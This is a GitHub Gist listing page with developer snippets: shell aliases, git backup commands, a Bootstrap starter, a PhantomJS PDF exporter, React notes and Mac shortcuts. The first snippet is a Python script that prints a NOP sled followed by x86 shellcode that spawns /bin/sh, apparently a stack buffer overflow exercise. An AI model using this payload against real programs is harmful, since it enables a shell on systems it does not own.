Skip to content

Instantly share code, notes, and snippets.

View dawsbot's full-sized avatar
💭
Bringing web3 to emerging markets - web3perf

Dawson Botsford dawsbot

💭
Bringing web3 to emerging markets - web3perf
View GitHub Profile
#!/usr/bin/python
sc = \
"\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43" +\
"\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5" +\
"\xff\xff\xff/bin/shxAAAABBBB"
print "\x90"*512+sc
# breakpoint 0xbffffef4
#!/usr/bin/python
'''
1. put this in your $PATH
2. create a crontab that runs it every x minutes and writes the output to a file
for example:
$ crontab -e
* * * * * ~/btc.py > ~/btcprice
@smileart
smileart / catim
Created January 9, 2014 15:44
Improved cat alias with automatic pygments syntax highlight
# Install http://pygments.org/download/ to use this improved cat!
cat() {
if command -v pygmentize > /dev/null; then
pygmentize $1 > /dev/null 2>&1
if [ $? -eq 0 ]; then
pygmentize $1
else
command cat $1
fi
else
@dawsbot
dawsbot / gitBackup.sh
Created January 29, 2016 09:07
Always have your code in two git servers by backing up with Bitbucket
#Enter this as one line
git remote set-url — add — push origin git@bitbucket.org:dawsonbotsford/vimrcbuilder.git
#Re-add the original URL as well. Again do this with one line
git remote set-url — add — push origin git@github.com:dawsonbotsford/vimrcBuilder.git
#Verify everything worked
git remote -v
@dawsbot
dawsbot / bootstrapStarter.html
Last active February 13, 2016 21:19
Barebones html file for starting a new bootstrapped html file
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<title></title>
<!-- jQuery -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js"></script>
extract () {
if [ -f $1 ] ; then
case $1 in
*.tar.bz2) tar xvjf $1 ;;
*.tar.gz) tar xvzf $1 ;;
*.bz2) bunzip2 $1 ;;
*.rar) unrar x $1 ;;
*.gz) gunzip $1 ;;
*.tar) tar xvf $1 ;;
*.tbz2) tar xvjf $1 ;;

Managing State in React

After digging more into React I get a better idea on how React states work. It looks like React still have a bit of magic happening behind the scene to make states work.

// 3 Elements mapping to the same real DOM
var element1 = <MyElement awesome=true>My Awesome Content</MyElement>

var element2 = <MyElement awesome=false>My Boring Content</MyElement>
@oskarhane
oskarhane / app.js
Created April 25, 2014 13:21
Export any website to PDF. PhantomJS and node-phantom required.
phantom = require('phantom')
if(!process.argv[2]) {
console.log('Usage: node app.js [url]')
process.exit(1)
}
var url = process.argv[2]
phantom.create(function(ph){
ph.createPage(function(page) {
@FlorianBELLAZOUZ
FlorianBELLAZOUZ / fibonacci.js
Created November 20, 2015 18:34
minimal fibonacci ( arrow function ) - 25 o
f=n=>n<=1?n:f(n-2)+f(n-1)
f(10) // return 55
@sethherr
sethherr / shortcuts.markdown
Last active June 20, 2017 16:27
Good shortcuts to remember on mac

General OSX shortcuts

key
Space Opens up finder - use it to open or switch applications, or find files
w Close current tab
t Open new tab
Shiftt Open most recently closed tab (Chrome and Sublime and Firefox, not universal)
; Open up settings for the current application
Tab Switch between applications